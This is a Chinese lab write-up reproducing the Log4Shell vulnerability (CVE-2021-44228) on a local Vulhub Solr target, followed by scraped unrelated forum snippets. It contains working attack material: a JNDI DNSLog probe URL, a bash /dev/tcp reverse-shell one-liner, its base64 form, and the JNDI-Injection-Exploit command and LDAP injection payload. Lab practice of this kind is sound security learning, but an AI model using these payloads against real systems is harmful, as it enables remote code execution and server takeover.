Apache Log4j2远程代码执行漏洞复现(CVE-2021-44228)-----记第一次反弹shell

2023-11-01

目录

靶场搭建

漏洞测试

漏洞利用

总结


 

靶场搭建

 因为没有服务器所以只能在本地搭建,在虚拟机上拉取文件

git clone https://github.com/vulhub/vulhub.git

 Vulhub - Docker-Compose file for vulnerability environment

 下载好后到CVE-2021-44228目录下启动漏洞的容器

sudo docker-compose up -d

 

 访问成功

 

漏洞测试

首先了解一下JNDI

 JNDI,全称为Java命名和目录接口(Java Naming and Directory Interface),是SUN公司提供的一种标准的Java命名系统接口,允许从指定的远程服务器获取并加载对象。JNDI相当于一个用于映射的字典,使得Java应用程序可以和这些命名服务和目录服务之间进行交互。JNDI注入攻击时常用的就是通过RMI和LDAP两种服务,本文以LDAP服务为例进行复现。

这里我们使用DNSLog平台测试dns回显

DNSLog Platform

 首先在里面获取一个地址

在该网页的/solr/admin/cores目录下有参数可以传

所以传入一个参数

http://192.168.200.128:8983/solr/admin/cores?action=${jndi:ldap://${sys:java.version}.l1wa8j.dnslog.cn}

 红色部分是获取到的地址

 再来看DNSLog

发现有数据传输,说明存在Log4j2漏洞

漏洞利用

 攻击机:kali 192.168.200.128

先编写一个反弹shell的语句

bash -i >& /dev/tcp/192.168.200.128/6666 0>&1

 6666是攻击机要监听的端口

对该语句进行base64编码

 Runtime.exec Payload Generater | AresX's Blog (ares-x.com)

接下来下载工具JNDI-Injection-Exploit

这个工具可以一键部署LDAP服务和http服务

sudo git clone https://github.com/sayers522/JNDI-Injection-Exploit.git

 下载好之后在该JNDI-Injection-Exploit文件目录下打开终端,生成.jar可执行文件

mvn clean package -DskipTests

 

 

生成后会在JNDI-Injection-Exploit目录下发现一个target文件,在该文件下打开终端

进行一键部署

java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "构造反弹shell的命令的base64编码" -A "攻击机ip"

结合上面的编码最终为

java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjIwMC4xMjgvNjY2NiAwPiYx}|{base64,-d}|{bash,-i}" -A "192.168.200.128"

 接下来监听要反弹shell的端口6666

 最后进行JNDI注入,向靶场网页传入payload

http://192.168.200.128:8983/solr/admin/cores?action=${jndi:ldap://192.168.200.128:1389/jnamke}

 

 可以发现有回显和成功反弹shell

 

总结

 通过工具来生成带有反弹shell语句的恶意可执行文件,进而通过部署LDAP服务和http服务,然后通过LDAP服务实现JNDI注入使得服务器去请求http服务上的恶意可执行文件从而造成服务器解析反弹shell的指令最后实现getshell

 


 参考:
(1条消息) log4j2远程代码执行漏洞原理与漏洞复现(基于vulhub,保姆级的详细教程)_Bossfrank的博客-CSDN博客

log4j2漏洞经典复现(vulhub靶场) - FreeBuf网络安全行业门户 

本文内容由网友自发贡献,版权归原作者所有,本站不承担相应法律责任。如您发现有涉嫌抄袭侵权的内容,请联系:hwhale#tublm.com(使用前将#替换为@)

Apache Log4j2远程代码执行漏洞复现(CVE-2021-44228)-----记第一次反弹shell 的相关文章

  • 在 CGI 模式下运行时如何覆盖 PHP 配置

    有一些教程告诉我如何在 CGI 模式下运行时覆盖 PHP 配置 但我仍然很困惑 因为很多人都认为服务器运行在 Linux 上 虽然我需要这样做also在 Windows 上 我的主机确实使用 Linux 但我的本地开发计算机使用 Windo
  • Apache James 学习资源 [关闭]

    Closed 此问题正在寻求书籍 工具 软件库等的推荐 不满足堆栈溢出指南 help closed questions 目前不接受答案 该计划是创建一个列表阿帕奇 詹姆斯 http james apache org学习资源 涉及从设置到使用
  • Django + WSGI:刷新问题?

    我正在开发一个 Django 网站 我在实时服务器上进行所有更改 只是因为这样更容易 问题是 它似乎时不时地喜欢缓存我正在处理的 py 文件之一 有时 如果我频繁点击刷新 它会在页面的旧版本和新版本之间来回切换 我的设置或多或少类似于 Dj
  • apache2.4.7 未将“404 Not Found”页面记录到 error.log

    我见过有关如何做的问题not将404错误记录到错误日志中 这是相反的 由于某种原因 我的 apache 安装没有将 404 错误记录到我的错误日志 或与此相关的访问日志 我已经正确设置了错误日志并看到了错误 但是当我访问不存在的页面时 我只
  • MySQL 与 PHP 的连接无法正常工作

    这是我的情况 我正在尝试使用 Apache 服务器上的 PHP 文件连接到 MySQL 数据库 现在 当我从终端运行 PHP 时 我的 PHP 可以连接到 MySQL 数据库 使用 php f file php 但是当我从网页执行它时 它只
  • Flask/Apache 提交按钮用于文件上传

    我有一个在 apache 后面运行的 Flask 应用程序 在我的 index html 页面上有一个文件上传按钮和一个提交按钮 如下所示
  • 如何在 Java 中使用 HTML 解析器和 Apache Tika 来提取所有 HTML 标签?

    我下载了 tika core 和 tika parser 库 但找不到将 HTML 文档解析为字符串的示例代码 我必须删除网页源的所有 html 标签 我能做些什么 如何使用 Apache Tika 进行编码 您想要 html 文件的纯文本
  • 在apache中有条件地设置缓存头

    我想根据访问文件的路径有条件地设置缓存标头 基本上 访问http www example com cache cache key 应该为具有遥远未来缓存标头的文件提供服务 我使用重写规则来设置环境变量 然后尝试根据该变量设置缓存控制标头 然
  • 强制 Apache HTTPD 以 32 位运行

    我通过从二进制文件 以及 ppc 部分 中剥离 32 位架构 以 64 位模式运行 Apache HTTPD 我这样做是为了使其与 python 和 mysql 更加兼容 然而 我有另一台机器需要它以 32 位模式运行 它仍然保留所有四种原
  • 将 http 和 https 请求重定向到新主机

    在 Apache 2 4 6 中 我想重定向来自http A org foo and https A org foo to https B org foo 我正在使用以下指令
  • SSL 适用于浏览器、wget 和curl,但不适用于 git

    我有一个网站 用于托管 redmine 和几个 git 存储库 这非常适合 http 但我无法使用 https 进行克隆 即 git clone http mysite com git test git 工作正常 但是 git clone
  • 无法分配内存:fork:无法创建新进程?

    我们的托管在aws 最近 我们的博客从wordpress to aws 我们遇到服务器响应时间明显延迟的情况 主要是在访问博客时 以下是来自error log file Wed Feb 25 06 10 10 2015 error 12 C
  • 如何在XAMPP服务器中实现类似路由器登录的用户认证?

    我正在尝试在我的 XAMPP 服务器中设置用户身份验证 类似于路由器在调用特定路由时提示输入用户名和密码的方式 我想了解底层协议以及浏览器如何识别服务器需要身份验证 谁能指导我完成在 XAMPP 中创建此身份验证协议的过程 我希望能够解释所
  • 致命错误:PHP 从版本 7.0 升级到 7.2 后找不到类“SoapClient”

    我升级了PHP 7 0 to 7 2在Ubuntu中 执行升级后 我安装了 Laravel 5 6 升级之前 类 SoapClient 是true 但是升级之后 我遇到了 致命错误 未找到 SoapClient 类 我检查了php ini
  • 查找 Ivy 中隐藏的依赖项

    我使用 Apache Ivy IvyDE 来获取项目的依赖项 它们是
  • 从子域重定向到域+ .htaccess

    我可以为多个域配置 RewriteRule 吗 就像我的要求是 我当前的域名 www maindomain com 假设我有三个域和子域 子域网址是 example1 maindomain com example2 maindomain c
  • cakephp 无法在 Ubuntu 上进行 url 重写

    全部 这次我尝试 cakephp 但我得到了 您的服务器上的 URL 重写未正确配置 1 帮我配置它 2 我不 不能使用 URL 重写 我可以知道这是 apache 和 htaccess 问题 例如 etc apache2 sites av
  • 在 .htaccess 中更改什么以使其停止显示子域

    我有这个 RewriteEngine on RewriteCond HTTP HOST m myurlname com RewriteCond HTTP USER AGENT safa NC RewriteRule http m myurl
  • 必须包含 log4J,但它会导致 Apache Spark shell 中出现错误。如何避免错误?

    由于我必须将 jar 包含到 Spark 代码中 因此我想请求帮助找出解决此问题而不删除 log4j 导入的方法 简单代码如下 cp symjar log4j 1 2 17 jar import org apache spark rdd v
  • 使用 mod_proxy 进行反向代理,保留原始请求 URL

    我已经使用 mod proxy Apache2 配置了一个反向代理 监听 127 0 0 1 80 将所有请求代理到 127 0 0 1 8080 所以我配置了 mod proxy 如下所示 ProxyPreserveHost On Pro

随机推荐

  • 借助PLC-Recorder,西门子PLC S7-1200实现4ms准确周期采集的方法(带时间戳采集)

    目录 1 测试条件 2 测试结论 3 PLC的发送程序 4 PLC连接配置 5 PLC Recorder侧的通讯设置 6 PLC Recorder的通道配置 7 PLC Recorder的变量配置 8 正常通讯情况的界面 9 记录数据的情况
  • hive sql求多个字段的最小值和最大值的办法

    1 准备数据表test2 create table test2 a int b int c int d int e int 2 准备2条数据 insert into table test2 values 5 1 3 8 6 insert i
  • 软件测试策略概述

    一般来说 测试策略描述了软件开发过程中进行测试方法 用来告诉测试过程中所有可能的参与者 测试活动应该如何进行 其中主要会包括测试目标 测试新功能的方法 测试项目的时间和资源 以及测试环境等等 除此以外 测试策略应该描述测试过程中存在哪些风险
  • 前端将后端返回的文件流转成url

    将返回的流数据转换为url export function getObjectURL file type return window URL createObjectURL new Blob file type base64转url exp
  • 2020-09-27 IDEA Maven dependencyManagement中的依赖版本会覆盖传递依赖版本

    IDEA Maven dependencyManagement中的依赖版本会覆盖传递依赖版本 参考帖子 Maven传递依赖的坑 父pom中dependencyManagement版本优先级高于传递依赖版本 问题描述 同一个项目 同事拉取其他
  • 常用正则表达式

    正则表达式用于字符串处理 表单验证等场合 实用高效 现将一些常用的表达式收集于此 以备不时之需 匹配中文字符的正则表达式 u4e00 u9fa5 评注 匹配中文还真是个头疼的事 有了这个表达式就好办了 匹配双字节字符 包括汉字在内 x00
  • Python移动和嵌入式视觉应用卷积神经网络模型压缩策略

    概述 模型压缩是在计算资源有限且能耗紧张的移动设备上 有效部署神经网络模型的关键技术 传统的模型压缩技术依赖于手工制作的启发式和基于规则的策略 这需要领域专家探索在模型大小 速度和准确性之间进行权衡的大型设计空间 这通常是次优且耗时的 在本
  • dos 添加防火墙入站规则

    dos 添加防火墙入站规则 使用DOS命令如何操作Windows防火墙 命令介绍及应用举例 一 命令格式 netsh firewall 参数 命令功能 显示命令列表 add 添加防火墙配置 delete 删除防火墙配置 dump 显示一个配
  • NoClassDefFoundError之BeanCreationException异常

    前言 根据部门技术要求 同时提高系统的稳定性和易维护性 需要对现有系统进行技术升级改造 在技术改造的过程中难免会遇到一些问题 令我印象比较深刻的就是文章标题所说的BeanCreationException异常 这个看似比较常见的异常出现的原
  • function/bind的救赎(上)

    本文转自孟岩的博客 http blog csdn net myan article details 5928531 这是那篇C 0X的正文 太长 先写上半部分发了 Function bind可以是一个很简单的话题 因为它其实不过就是一个泛型
  • linux查看进程 显示,Linux如何查看和控制进程

    Linux如何查看和控制进程 前言 程序是保存在外部存储介质 如硬盘 中的可执行机器代码和数据的静态集合 而进程是在CPU及内存中处于动态执行状态的计算机程序 在Linux系统中 每个程序启动后可以创建一个或多个进程 例如 提供Web服务的
  • 等高线种类及特点

    地形图上的等高城分为首曲线 计曲线 间曲线和助曲线四种 见下图 首曲线 又叫基本等高线 是按规定的等高距 由平均海水面起算而测绘的细实线 线粗0 1毫米 用以显示地貌的基本形态 计曲线 又叫加粗等高线 规定从高程起算面 平均海水面 起算的首
  • 一个月,英语能提高多少?附资料分享

    学习语言是一个漫长的过程 但对于我这样一个英语小白 利用业余时间 一个月的学习 还是能看到不少的进步 除了听 说 读 写等能力方面有提升之外 最大的收获就是培养了英语学习和运用的兴趣 这样的结果对我来说 还是很满意的 自然也多了继续探索英语
  • STM32CubeMX代码生成和点亮LED

    所需工具STM32CubeMX和Keil5 1 先打开STM32CubeMX软件 点击New Project新建工程 2 在搜索框中搜索你的项目芯片 3 搜索出来有两个不同封装的芯片 写程序没区别 但是这个软件可以生成IO说明文档 可能会导
  • 【恒指早盘分析】10.8恒指今日复盘及后市思路

    10月8日消息 美股周一震荡收跌 市场正关注国际贸易局势的进展 美联储官员讲话以及经济数据 今日开盘 港股恒指高开0 11 随后一度涨逾1 重返26000点 截至午间收盘 恒生指数踏浪点神 1376338 669 73 46 0 28 涨0
  • justify-content、align-content、align-items、align-self的区别

    提示 CSS flex direction属性指定了内部元素是如何在 flex 容器中布局的 定义了主轴的方向 正方向或反方向 默认主轴为正方向 侧轴 与主轴垂直的轴叫侧轴 justify 使齐行 align 排列 使成一条直线 wrap
  • VBJSON报错:缺少:语句结束

    项目中使用JSON库VBJSON时报错 编译错误 缺少 语句结束 cJSONScript和cStringBuilder报相同的错误 都在第一行 VERSION 1 0 CLASS 研究了半天没啥结果 之前使用这个库的时候没有什么问题 所以判
  • Spring boot踩坑日记——ERROR c.n.d.s.t.d.RedirectingEurekaHttpClient - Request execution error

    eureka启动报错 2018 12 21 17 20 16 480 main ERROR c n d s t d RedirectingEurekaHttpClient Request execution error com sun je
  • https://github.com/qiangqiang666/demo

  • Apache Log4j2远程代码执行漏洞复现(CVE-2021-44228)-----记第一次反弹shell

    目录 靶场搭建 漏洞测试 漏洞利用 总结 靶场搭建 因为没有服务器所以只能在本地搭建 在虚拟机上拉取文件 git clone https github com vulhub vulhub git Vulhub Docker Compose